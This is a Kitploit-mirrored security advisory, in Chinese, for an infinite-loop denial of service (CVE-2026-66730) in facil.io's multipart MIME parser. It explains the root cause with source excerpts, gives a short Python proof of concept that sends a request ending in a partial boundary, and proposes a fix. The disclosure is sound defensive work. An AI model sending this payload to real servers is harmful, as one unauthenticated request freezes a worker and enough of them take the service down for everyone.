Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-66730-Infinite-Loop-DoS-in-facil.io-MIME-Parser — 安全公告:facil.io MIME 解析器中的无限循环拒绝服务(部分边界) | Kitploit
工具/GitHubGitHub/theopaid/cve-2026-66730-infinite-loop-dos-in-facil.io-mime-parser
漏洞分析代码分析Web安全论文与研究学习与教育
GitHubtheopaid/cve-2026-66730-infinite-loop-dos-in-facil.io-mime-parser

CVE-2026-66730-Infinite-Loop-DoS-in-facil.io-MIME-Parser

安全公告:facil.io MIME 解析器中的无限循环拒绝服务(部分边界)

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
31个月前尚未审核
分享

安全公告:facil.io MIME 解析器中的无限循环拒绝服务(部分边界)

分配的 CVE ID:CVE-2026-66730

产品: facil.io
受影响版本: facil.io >= 0.6.0(所有 0.6.x、所有 0.7.x、master);该问题在 0.6.0 中与 MIME 解析器一同引入
组件: lib/facil/http/http.c、lib/facil/http/parsers/http_mime_parser.h
CWE: CWE-835(具有不可达退出条件的循环)、CWE-400(未受控的资源消耗)
CVSS v3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
研究人员: Theodosis Paidakis


摘要

一个 multipart/form-data 请求,其正文以不完整的结束边界结尾(例如 --B- 而非 --B--\r\n),会导致 http_parse_body() 以 100% CPU 占用率无限循环。当 MIME 解析器在部分边界上停滞时,它返回已消费 0 字节,但调用循环只检查 !done && !error。两个标志均未设置,因此它会永远对相同数据重新调用解析器。服务器不会崩溃,因此不会有工作进程被重新生成。一个未经身份验证的 POST 请求即可永久冻结一个工作进程。

这与 CVE-2026-41146 无关,后者是 JSON 解析器(fio_json_parser.h)中的无限循环。此漏洞位于 MIME/multipart 解析器中。


根本原因

第 1 部分:调用方缺少进度防护

lib/facil/http/http.c,第 1963-1967 行

root@kitploit:~
// lib/facil/http/http.c:1963-1967
do {
    size_t cons = http_mime_parse(&p.p, p.buffer.data, p.buffer.len);
    p.pos += cons;                                         // += 0 when parser stalls
    p.buffer = fiobj_data_pread(h->body, p.pos, 4096);    // same slice returned again
} while (p.buffer.data && !p.p.done && !p.p.error);       // neither flag set -> loops forever

如果 http_mime_parse 返回 0 且既未设置 done 也未设置 error,则 p.pos 保持不变,fiobj_data_pread 返回相同的缓冲区,循环便没有出口。

第 2 部分:当 http_mime_parse 返回 0 时

lib/facil/http/parsers/http_mime_parser.h,第 314-329 行及 consume_partial 分支

解析器在值部分扫描完整的边界。当正文以 \n--B- 结尾(比完整的结束边界 \n--B--\r\n 少四个字节)时,扫描会找到 \n,后面看起来像是边界的开始,但无法确认边界是否完整:

root@kitploit:~
// lib/facil/http/parsers/http_mime_parser.h:314-329 (value scan)
do {
    end = memchr(end, '\n', (size_t)(stop - end));
} while (end && ++end &&
         (size_t)(stop - end) >= (4 + parser->boundary_len) &&
         (end[0] != '-' || end[1] != '-' || memcmp(end+2, parser->boundary, parser->boundary_len)));
if (!end || end + 4 + parser->boundary_len >= stop) {
    // partial boundary -- transition to consume_partial on first call
    parser->in_obj = 1;
    goto consume_partial;
}

在下一次调用时,in_obj 已设置。consume_partial 分支会在 --B- 之前找到相同的 \n,然后将返回指针回退到任何未消费数据之前:

root@kitploit:~
// lib/facil/http/parsers/http_mime_parser.h (consume_partial branch, ~line 162-169)
} else if (end + 4 + parser->boundary_len >= stop) {
    end -= 2;
    if (end[0] == '\r') --end;   // end now points before the \n
    pos = end;                    // return pointer set behind any new data
    goto end_of_data;             // returns 0 bytes consumed
}

pos 最终位于起始位置或更靠前的位置。函数返回 0。回到调用方后,cons = 0,p.pos 不移动,循环重复。


概念验证

启动服务器,然后运行:

root@kitploit:~
# poc_mime_infinite_loop.py
import socket, time

BOUNDARY = "B"
body = (
    "--B\r\n"
    "Content-Disposition: form-data; name=field\r\n"
    "\r\n"
    "value\r\n"
    "--B-"      # partial closing boundary: missing final '-\r\n'
).encode()

req = (
    f"POST / HTTP/1.1\r\nHost: 127.0.0.1\r\n"
    f"Content-Type: multipart/form-data; boundary=B\r\n"
    f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode() + body

s = socket.socket()
s.settimeout(10)
s.connect(("127.0.0.1", 3000))
s.sendall(req)
try:
    s.recv(4096)
    print("got response - not vulnerable")
except socket.timeout:
    print("hung for 10s - server spinning at 100% CPU")

观察结果:服务器进程 CPU 占用率 99.7-100%。需要 kill -9 才能恢复。


影响

被冻结的工作进程永远不会退出,因此不会重新生成。当请求数量足够多(等于工作进程数)时,服务器将永久停止为所有客户端提供服务,直到手动重启。无需身份验证、特殊标头或任何先前状态。


修复方案

向 http_parse_body 中的循环添加进度防护:

lib/facil/http/http.c,第 1963-1967 行

root@kitploit:~
// lib/facil/http/http.c:1963-1967 -- proposed fix
size_t last_pos = (size_t)-1;
do {
    if (p.pos == last_pos) { p.p.error = 1; break; }   // no progress: abort
    last_pos = p.pos;
    size_t cons = http_mime_parse(&p.p, p.buffer.data, p.buffer.len);
    p.pos += cons;
    p.buffer = fiobj_data_pread(h->body, p.pos, 4096);
} while (p.buffer.data && !p.p.done && !p.p.error);
下载工具